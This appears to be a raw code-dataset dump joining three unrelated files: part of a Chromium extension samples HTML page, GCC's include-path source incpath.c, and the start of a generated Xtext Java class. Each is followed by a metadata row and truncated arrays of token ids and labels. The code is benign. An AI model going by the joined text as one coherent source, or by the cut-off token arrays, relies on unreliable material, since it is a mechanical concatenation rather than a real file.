<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="extension.html#method-getViews">chrome.extension.getViews</a></code>
</li><li>
<code><a href="tabs.html#method-captureVisibleTab">chrome.tabs.captureVisibleTab</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/tabs/screenshot/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/screenshot/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/screenshot/screenshot.html">screenshot.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/screenshot/screenshot.js">screenshot.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/tabs/screenshot.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e8ac89b4015052cf11436985399129c927f972aa">
<img class="icon" src="../examples/api/permissions/extension-questions/images/icon.png">
<h2 class="name">
<a href="#e8ac89b4015052cf11436985399129c927f972aa">Top Chrome Extension Questions</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>experimental</strong>
<span> and</span>
</span><span>
<strong>options_page</strong>
</span>
</p>
<p>Sample demonstration of the optional permissions API.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="permissions.html#method-contains">chrome.permissions.contains</a></code>
</li><li>
<code><a href="permissions.html#event-onAdded">chrome.permissions.onAdded</a></code>
</li><li>
<code><a href="permissions.html#event-onRemoved">chrome.permissions.onRemoved</a></code>
</li><li>
<code><a href="permissions.html#method-remove">chrome.permissions.remove</a></code>
</li><li>
<code><a href="permissions.html#method-request">chrome.permissions.request</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/permissions/extension-questions/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/permissions/extension-questions/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/permissions/extension-questions/options.js">options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/permissions/extension-questions/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/permissions/extension-questions/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/permissions/extension-questions.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
<span>
- <a href="examples/api/permissions/extension-questions.crx">Install extension</a>
</span>
</div>
</div><div class="sample" id="1d192cce77438e1a90383a6a3a6b28f29961ffa4">
<img class="icon" src="../examples/extensions/ttsdebug/128.png">
<h2 class="name">
<a href="#1d192cce77438e1a90383a6a3a6b28f29961ffa4">TTS Debug</a>
<span>(packaged app)</span>
</h2>
<p class="metadata features">Uses
<span>
<strong>tts</strong>
</span>
</p>
<p>Tool for developers of Chrome TTS engine extensions to help them test their engines are implementing the API correctly.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tts.html#method-getVoices">chrome.tts.getVoices</a></code>
</li><li>
<code><a href="tts.html#method-speak">chrome.tts.speak</a></code>
</li><li>
<code><a href="tts.html#method-stop">chrome.tts.stop</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/ttsdebug/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/ttsdebug/ttsdebug.css">ttsdebug.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/ttsdebug/ttsdebug.html">ttsdebug.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/ttsdebug/ttsdebug.js">ttsdebug.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/ttsdebug.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="3a1baf15462bdae4d886c2da4ff8f35f4e8ce02f">
<img class="icon" src="../examples/extensions/ttsdemo/128.png">
<h2 class="name">
<a href="#3a1baf15462bdae4d886c2da4ff8f35f4e8ce02f">TTS Demo</a>
<span>(packaged app)</span>
</h2>
<p class="metadata features">Uses
<span>
<strong>tts</strong>
</span>
</p>
<p>Demo Chrome's synthesized text-to-speech capabilities.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tts.html#method-getVoices">chrome.tts.getVoices</a></code>
</li><li>
<code><a href="tts.html#method-isSpeaking">chrome.tts.isSpeaking</a></code>
</li><li>
<code><a href="tts.html#method-speak">chrome.tts.speak</a></code>
</li><li>
<code><a href="tts.html#method-stop">chrome.tts.stop</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/ttsdemo/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/ttsdemo/ttsdemo.html">ttsdemo.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/ttsdemo/ttsdemo.js">ttsdemo.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/ttsdemo.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="b3de91ab04b7d7a2670ca7ee9d740eb42cead0b6">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#b3de91ab04b7d7a2670ca7ee9d740eb42cead0b6">Typed URL History</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>history</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Reads your history, and shows the top ten pages you go to by typing the URL.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="history.html#method-getVisits">chrome.history.getVisits</a></code>
</li><li>
<code><a href="history.html#method-search">chrome.history.search</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/history/showHistory/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/history/showHistory/typedUrls.html">typedUrls.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/history/showHistory/typedUrls.js">typedUrls.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/history/showHistory.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="a3c674f7eb93621c590562ad3fa04de4f03f53a0">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#a3c674f7eb93621c590562ad3fa04de4f03f53a0">WebNavigation Tech Demo</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>webNavigation</strong>
</span>
</p>
<p>Demonstration of the WebNavigation extension API.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="webNavigation.html#event-onBeforeNavigate">chrome.webNavigation.onBeforeNavigate</a></code>
</li><li>
<code><a href="webNavigation.html#event-onCommitted">chrome.webNavigation.onCommitted</a></code>
</li><li>
<code><a href="webNavigation.html#event-onCompleted">chrome.webNavigation.onCompleted</a></code>
</li><li>
<code><a href="webNavigation.html#event-onCreatedNavigationTarget">chrome.webNavigation.onCreatedNavigationTarget</a></code>
</li><li>
<code><a href="webNavigation.html#event-onErrorOccurred">chrome.webNavigation.onErrorOccurred</a></code>
</li><li>
<code><a href="webNavigation.html#event-onHistoryStateUpdated">chrome.webNavigation.onHistoryStateUpdated</a></code>
</li><li>
<code><a href="webNavigation.html#event-onReferenceFragmentUpdated">chrome.webNavigation.onReferenceFragmentUpdated</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/navigation_collector.js">navigation_collector.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/webNavigation/basic/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/webNavigation/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="0fa4abe6545f0316fea7cfa07c53aa48c4f3d018">
<img class="icon" src="../examples/api/extension/isAllowedAccess/sample-128.png">
<h2 class="name">
<a href="#0fa4abe6545f0316fea7cfa07c53aa48c4f3d018">`extension.isAllowedFileSchemeAccess` and `extension.isAllowedIncognitoAccess` Example</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
</span>
</p>
<p>Demonstrates the `extension.isAllowedFileSchemeAccess` and `extesion.isAllowedIncognitoAccess` APIs</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-isAllowedFileSchemeAccess">chrome.extension.isAllowedFileSchemeAccess</a></code>
</li><li>
<code><a href="extension.html#method-isAllowedIncognitoAccess">chrome.extension.isAllowedIncognitoAccess</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/extension/isAllowedAccess/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/extension/isAllowedAccess/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/extension/isAllowedAccess/popup.js">popup.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/extension/isAllowedAccess/sample.css">sample.css</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/extension/isAllowedAccess.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div>
</div>
<!-- API PAGE -->
<!-- /apiPage -->
</div> <!-- /gc-pagecontent -->
</div> <!-- /g-section -->
</div> <!-- /codesiteContent -->
<div id="gc-footer" --="">
<div class="text">
<p>
Except as otherwise <a href="http://code.google.com/policies.html#restrictions">noted</a>,
the content of this page is licensed under the <a rel="license" href="http://creativecommons.org/licenses/by/3.0/">Creative Commons
Attribution 3.0 License</a>, and code samples are licensed under the
<a rel="license" href="http://code.google.com/google_bsd_license.html">BSD License</a>.
</p>
<p>
©2011 Google
</p>
<!-- begin analytics -->
<script src="https://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script src="https://www.google-analytics.com/ga.js" type="text/javascript"></script>
<script type="text/javascript">
// chrome doc tracking
try {
var engdocs = _gat._getTracker("YT-10763712-2");
engdocs._trackPageview();
} catch(err) {}
// code.google.com site-wide tracking
try {
_uacct="UA-18071-1";
_uanchor=1;
_uff=0;
urchinTracker();
}
catch(e) {/* urchinTracker not available. */}
</script>
<!-- end analytics -->
</div>
</div> <!-- /gc-footer -->
</div> <!-- /gc-container -->
</body></html>
| keishi/chromium | chrome/common/extensions/docs/extensions/samples.html | HTML | bsd-3-clause | 196,580 | [
30522,
1026,
999,
9986,
13874,
16129,
1028,
1026,
999,
1011,
1011,
2023,
3931,
2003,
1037,
2173,
14528,
2005,
7013,
14305,
17928,
9986,
1012,
3602,
1024,
1015,
1007,
1996,
1026,
2132,
1028,
2592,
1999,
2023,
3931,
2003,
3278,
1010,
2323,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* Set up combined include path chain for the preprocessor.
Copyright (C) 1986-2014 Free Software Foundation, Inc.
Broken out of cppinit.c and cppfiles.c and rewritten Mar 2003.
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3, or (at your option) any
later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING3. If not see
<http://www.gnu.org/licenses/>. */
#include "config.h"
#include "system.h"
#include "coretypes.h"
#include "machmode.h"
#include "target.h"
#include "tm.h"
#include "cpplib.h"
#include "prefix.h"
#include "intl.h"
#include "incpath.h"
#include "cppdefault.h"
/* Microsoft Windows does not natively support inodes.
VMS has non-numeric inodes. */
#ifdef VMS
# define INO_T_EQ(A, B) (!memcmp (&(A), &(B), sizeof (A)))
# define INO_T_COPY(DEST, SRC) memcpy (&(DEST), &(SRC), sizeof (SRC))
#elif !defined (HOST_LACKS_INODE_NUMBERS)
# define INO_T_EQ(A, B) ((A) == (B))
# define INO_T_COPY(DEST, SRC) (DEST) = (SRC)
#endif
#if defined INO_T_EQ
#define DIRS_EQ(A, B) ((A)->dev == (B)->dev \
&& INO_T_EQ ((A)->ino, (B)->ino))
#else
#define DIRS_EQ(A, B) (!filename_cmp ((A)->canonical_name, (B)->canonical_name))
#endif
static const char dir_separator_str[] = { DIR_SEPARATOR, 0 };
static void add_env_var_paths (const char *, int);
static void add_standard_paths (const char *, const char *, const char *, int);
static void free_path (struct cpp_dir *, int);
static void merge_include_chains (const char *, cpp_reader *, int);
static void add_sysroot_to_chain (const char *, int);
static struct cpp_dir *remove_duplicates (cpp_reader *, struct cpp_dir *,
struct cpp_dir *,
struct cpp_dir *, int);
/* Include chains heads and tails. */
static struct cpp_dir *heads[4];
static struct cpp_dir *tails[4];
static bool quote_ignores_source_dir;
enum { REASON_QUIET = 0, REASON_NOENT, REASON_DUP, REASON_DUP_SYS };
/* Free an element of the include chain, possibly giving a reason. */
static void
free_path (struct cpp_dir *path, int reason)
{
switch (reason)
{
case REASON_DUP:
case REASON_DUP_SYS:
fprintf (stderr, _("ignoring duplicate directory \"%s\"\n"), path->name);
if (reason == REASON_DUP_SYS)
fprintf (stderr,
_(" as it is a non-system directory that duplicates a system directory\n"));
break;
case REASON_NOENT:
fprintf (stderr, _("ignoring nonexistent directory \"%s\"\n"),
path->name);
break;
case REASON_QUIET:
default:
break;
}
free (path->name);
free (path);
}
/* Read ENV_VAR for a PATH_SEPARATOR-separated list of file names; and
append all the names to the search path CHAIN. */
static void
add_env_var_paths (const char *env_var, int chain)
{
char *p, *q, *path;
q = getenv (env_var);
if (!q)
return;
for (p = q; *q; p = q + 1)
{
q = p;
while (*q != 0 && *q != PATH_SEPARATOR)
q++;
if (p == q)
path = xstrdup (".");
else
{
path = XNEWVEC (char, q - p + 1);
memcpy (path, p, q - p);
path[q - p] = '\0';
}
add_path (path, chain, chain == SYSTEM, false);
}
}
/* Append the standard include chain defined in cppdefault.c. */
static void
add_standard_paths (const char *sysroot, const char *iprefix,
const char *imultilib, int cxx_stdinc)
{
const struct default_include *p;
int relocated = cpp_relocated ();
size_t len;
if (iprefix && (len = cpp_GCC_INCLUDE_DIR_len) != 0)
{
/* Look for directories that start with the standard prefix.
"Translate" them, i.e. replace /usr/local/lib/gcc... with
IPREFIX and search them first. */
for (p = cpp_include_defaults; p->fname; p++)
{
if (!p->cplusplus || cxx_stdinc)
{
/* Should we be translating sysrooted dirs too? Assume
that iprefix and sysroot are mutually exclusive, for
now. */
if (sysroot && p->add_sysroot)
continue;
if (!filename_ncmp (p->fname, cpp_GCC_INCLUDE_DIR, len))
{
char *str = concat (iprefix, p->fname + len, NULL);
if (p->multilib == 1 && imultilib)
str = reconcat (str, str, dir_separator_str,
imultilib, NULL);
else if (p->multilib == 2)
{
if (!imultiarch)
{
free (str);
continue;
}
str = reconcat (str, str, dir_separator_str,
imultiarch, NULL);
}
add_path (str, SYSTEM, p->cxx_aware, false);
}
}
}
}
for (p = cpp_include_defaults; p->fname; p++)
{
if (!p->cplusplus || cxx_stdinc)
{
char *str;
/* Should this directory start with the sysroot? */
if (sysroot && p->add_sysroot)
{
char *sysroot_no_trailing_dir_separator = xstrdup (sysroot);
size_t sysroot_len = strlen (sysroot);
if (sysroot_len > 0 && sysroot[sysroot_len - 1] == DIR_SEPARATOR)
sysroot_no_trailing_dir_separator[sysroot_len - 1] = '\0';
str = concat (sysroot_no_trailing_dir_separator, p->fname, NULL);
free (sysroot_no_trailing_dir_separator);
}
else if (!p->add_sysroot && relocated
&& !filename_ncmp (p->fname, cpp_PREFIX, cpp_PREFIX_len))
{
static const char *relocated_prefix;
char *ostr;
/* If this path starts with the configure-time prefix,
but the compiler has been relocated, replace it
with the run-time prefix. The run-time exec prefix
is GCC_EXEC_PREFIX. Compute the path from there back
to the toplevel prefix. */
if (!relocated_prefix)
{
char *dummy;
/* Make relative prefix expects the first argument
to be a program, not a directory. */
dummy = concat (gcc_exec_prefix, "dummy", NULL);
relocated_prefix
= make_relative_prefix (dummy,
cpp_EXEC_PREFIX,
cpp_PREFIX);
free (dummy);
}
ostr = concat (relocated_prefix,
p->fname + cpp_PREFIX_len,
NULL);
str = update_path (ostr, p->component);
free (ostr);
}
else
str = update_path (p->fname, p->component);
if (p->multilib == 1 && imultilib)
str = reconcat (str, str, dir_separator_str, imultilib, NULL);
else if (p->multilib == 2)
{
if (!imultiarch)
{
free (str);
continue;
}
str = reconcat (str, str, dir_separator_str, imultiarch, NULL);
}
add_path (str, SYSTEM, p->cxx_aware, false);
}
}
}
/* For each duplicate path in chain HEAD, keep just the first one.
Remove each path in chain HEAD that also exists in chain SYSTEM.
Set the NEXT pointer of the last path in the resulting chain to
JOIN, unless it duplicates JOIN in which case the last path is
removed. Return the head of the resulting chain. Any of HEAD,
JOIN and SYSTEM can be NULL. */
static struct cpp_dir *
remove_duplicates (cpp_reader *pfile, struct cpp_dir *head,
struct cpp_dir *system, struct cpp_dir *join,
int verbose)
{
struct cpp_dir **pcur, *tmp, *cur;
struct stat st;
for (pcur = &head; *pcur; )
{
int reason = REASON_QUIET;
cur = *pcur;
if (stat (cur->name, &st))
{
/* Dirs that don't exist are silently ignored, unless verbose. */
if (errno != ENOENT)
cpp_errno (pfile, CPP_DL_ERROR, cur->name);
else
{
/* If -Wmissing-include-dirs is given, warn. */
cpp_options *opts = cpp_get_options (pfile);
if (opts->warn_missing_include_dirs && cur->user_supplied_p)
cpp_errno (pfile, CPP_DL_WARNING, cur->name);
reason = REASON_NOENT;
}
}
else if (!S_ISDIR (st.st_mode))
cpp_error_with_line (pfile, CPP_DL_WARNING, 0, 0,
"%s: not a directory", cur->name);
else
{
#if defined (INO_T_COPY)
INO_T_COPY (cur->ino, st.st_ino);
cur->dev = st.st_dev;
#endif
/* Remove this one if it is in the system chain. */
reason = REASON_DUP_SYS;
for (tmp = system; tmp; tmp = tmp->next)
if (DIRS_EQ (tmp, cur) && cur->construct == tmp->construct)
break;
if (!tmp)
{
/* Duplicate of something earlier in the same chain? */
reason = REASON_DUP;
for (tmp = head; tmp != cur; tmp = tmp->next)
if (DIRS_EQ (cur, tmp) && cur->construct == tmp->construct)
break;
if (tmp == cur
/* Last in the chain and duplicate of JOIN? */
&& !(cur->next == NULL && join
&& DIRS_EQ (cur, join)
&& cur->construct == join->construct))
{
/* Unique, so keep this directory. */
pcur = &cur->next;
continue;
}
}
}
/* Remove this entry from the chain. */
*pcur = cur->next;
free_path (cur, verbose ? reason: REASON_QUIET);
}
*pcur = join;
return head;
}
/* Add SYSROOT to any user-supplied paths in CHAIN starting with
"=". */
static void
add_sysroot_to_chain (const char *sysroot, int chain)
{
struct cpp_dir *p;
for (p = heads[chain]; p != NULL; p = p->next)
if (p->name[0] == '=' && p->user_supplied_p)
p->name = concat (sysroot, p->name + 1, NULL);
}
/* Merge the four include chains together in the order quote, bracket,
system, after. Remove duplicate dirs (determined in
system-specific manner).
We can't just merge the lists and then uniquify them because then
we may lose directories from the <> search path that should be
there; consider -iquote foo -iquote bar -Ifoo -Iquux. It is
however safe to treat -iquote bar -iquote foo -Ifoo -Iquux as if
written -iquote bar -Ifoo -Iquux. */
static void
merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
{
/* Add the sysroot to user-supplied paths starting with "=". */
if (sysroot)
{
add_sysroot_to_chain (sysroot, QUOTE);
add_sysroot_to_chain (sysroot, BRACKET);
add_sysroot_to_chain (sysroot, SYSTEM);
add_sysroot_to_chain (sysroot, AFTER);
}
/* Join the SYSTEM and AFTER chains. Remove duplicates in the
resulting SYSTEM chain. */
if (heads[SYSTEM])
tails[SYSTEM]->next = heads[AFTER];
else
heads[SYSTEM] = heads[AFTER];
heads[SYSTEM] = remove_duplicates (pfile, heads[SYSTEM], 0, 0, verbose);
/* Remove duplicates from BRACKET that are in itself or SYSTEM, and
join it to SYSTEM. */
heads[BRACKET] = remove_duplicates (pfile, heads[BRACKET], heads[SYSTEM],
heads[SYSTEM], verbose);
/* Remove duplicates from QUOTE that are in itself or SYSTEM, and
join it to BRACKET. */
heads[QUOTE] = remove_duplicates (pfile, heads[QUOTE], heads[SYSTEM],
heads[BRACKET], verbose);
/* If verbose, print the list of dirs to search. */
if (verbose)
{
struct cpp_dir *p;
fprintf (stderr, _("#include \"...\" search starts here:\n"));
for (p = heads[QUOTE];; p = p->next)
{
if (p == heads[BRACKET])
fprintf (stderr, _("#include <...> search starts here:\n"));
if (!p)
break;
fprintf (stderr, " %s\n", p->name);
}
fprintf (stderr, _("End of search list.\n"));
}
}
/* Use given -I paths for #include "..." but not #include <...>, and
don't search the directory of the present file for #include "...".
(Note that -I. -I- is not the same as the default setup; -I. uses
the compiler's working dir.) */
void
split_quote_chain (void)
{
if (heads[QUOTE])
free_path (heads[QUOTE], REASON_QUIET);
if (tails[QUOTE])
free_path (tails[QUOTE], REASON_QUIET);
heads[QUOTE] = heads[BRACKET];
tails[QUOTE] = tails[BRACKET];
heads[BRACKET] = NULL;
tails[BRACKET] = NULL;
/* This is NOT redundant. */
quote_ignores_source_dir = true;
}
/* Add P to the chain specified by CHAIN. */
void
add_cpp_dir_path (cpp_dir *p, int chain)
{
if (tails[chain])
tails[chain]->next = p;
else
heads[chain] = p;
tails[chain] = p;
}
/* Add PATH to the include chain CHAIN. PATH must be malloc-ed and
NUL-terminated. */
void
add_path (char *path, int chain, int cxx_aware, bool user_supplied_p)
{
cpp_dir *p;
#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
/* Remove unnecessary trailing slashes. On some versions of MS
Windows, trailing _forward_ slashes cause no problems for stat().
On newer versions, stat() does not recognize a directory that ends
in a '\\' or '/', unless it is a drive root dir, such as "c:/",
where it is obligatory. */
int pathlen = strlen (path);
char* end = path + pathlen - 1;
/* Preserve the lead '/' or lead "c:/". */
char* start = path + (pathlen > 2 && path[1] == ':' ? 3 : 1);
for (; end > start && IS_DIR_SEPARATOR (*end); end--)
*end = 0;
#endif
p = XNEW (cpp_dir);
p->next = NULL;
p->name = path;
#ifndef INO_T_EQ
p->canonical_name = lrealpath (path);
#endif
if (chain == SYSTEM || chain == AFTER)
p->sysp = 1 + !cxx_aware;
else
p->sysp = 0;
p->construct = 0;
p->user_supplied_p = user_supplied_p;
add_cpp_dir_path (p, chain);
}
/* Exported function to handle include chain merging, duplicate
removal, and registration with cpplib. */
void
register_include_chains (cpp_reader *pfile, const char *sysroot,
const char *iprefix, const char *imultilib,
int stdinc, int cxx_stdinc, int verbose)
{
static const char *const lang_env_vars[] =
{ "C_INCLUDE_PATH", "CPLUS_INCLUDE_PATH",
"OBJC_INCLUDE_PATH", "OBJCPLUS_INCLUDE_PATH" };
cpp_options *cpp_opts = cpp_get_options (pfile);
size_t idx = (cpp_opts->objc ? 2: 0);
if (cpp_opts->cplusplus)
idx++;
else
cxx_stdinc = false;
/* CPATH and language-dependent environment variables may add to the
include chain. */
add_env_var_paths ("CPATH", BRACKET);
add_env_var_paths (lang_env_vars[idx], SYSTEM);
target_c_incpath.extra_pre_includes (sysroot, iprefix, stdinc);
/* Finally chain on the standard directories. */
if (stdinc)
add_standard_paths (sysroot, iprefix, imultilib, cxx_stdinc);
target_c_incpath.extra_includes (sysroot, iprefix, stdinc);
merge_include_chains (sysroot, pfile, verbose);
cpp_set_include_chains (pfile, heads[QUOTE], heads[BRACKET],
quote_ignores_source_dir);
}
/* Return the current chain of cpp dirs. */
struct cpp_dir *
get_added_cpp_dirs (int chain)
{
return heads[chain];
}
#if !(defined TARGET_EXTRA_INCLUDES) || !(defined TARGET_EXTRA_PRE_INCLUDES)
static void hook_void_charptr_charptr_int (const char *sysroot ATTRIBUTE_UNUSED,
const char *iprefix ATTRIBUTE_UNUSED,
int stdinc ATTRIBUTE_UNUSED)
{
}
#endif
#ifndef TARGET_EXTRA_INCLUDES
#define TARGET_EXTRA_INCLUDES hook_void_charptr_charptr_int
#endif
#ifndef TARGET_EXTRA_PRE_INCLUDES
#define TARGET_EXTRA_PRE_INCLUDES hook_void_charptr_charptr_int
#endif
struct target_c_incpath_s target_c_incpath = { TARGET_EXTRA_PRE_INCLUDES, TARGET_EXTRA_INCLUDES };
| albertghtoun/gcc-libitm | gcc/incpath.c | C | gpl-2.0 | 15,062 | [
30522,
1013,
1008,
2275,
2039,
4117,
2421,
4130,
4677,
2005,
1996,
17463,
3217,
9623,
21748,
1012,
9385,
1006,
1039,
1007,
3069,
1011,
2297,
2489,
4007,
3192,
1010,
4297,
1012,
3714,
2041,
1997,
18133,
8091,
4183,
1012,
1039,
1998,
18133,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* generated by Xtext
*/
package com.odcgroup.workbench.el.ui.contentassist;
import org.eclipse.emf.ecore.EObject;
import org.eclipse.xtext.*;
import org.eclipse.xtext.ui.editor.contentassist.ICompletionProposalAcceptor;
import org.eclipse.xtext.ui.editor.contentassist.ContentAssistContext;
/**
* Represents a generated, default implementation of superclass {@link ch.vorburger.el.ui.contentassist.ELProposalProvider}.
* Methods are dynamically dispatched on the first parameter, i.e., you can override them
* with a more concrete subtype.
*/
@SuppressWarnings("all")
public class AbstractDSELProposalProvider extends ch.vorburger.el.ui.contentassist.ELProposalProvider {
public void completeXUnaryOperation_Feature(EObject model, Assignment assignment, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
lookupCrossReference(((CrossReference)assignment.getTerminal()), context, acceptor);
}
public void completeXUnaryOperation_Operand(EObject model, Assignment assignment, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
completeRuleCall(((RuleCall)assignment.getTerminal()), context, acceptor);
}
public void completeXBlockExpression_Expressions(EObject model, Assignment assignment, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
completeRuleCall(((RuleCall)assignment.getTerminal()), context, acceptor);
}
public void complete_XExpression(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_XLiteral(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
public void complete_XUnaryOperation(EObject model, RuleCall ruleCall, ContentAssistContext context, ICompletionProposalAcceptor acceptor) {
// subclasses may override
}
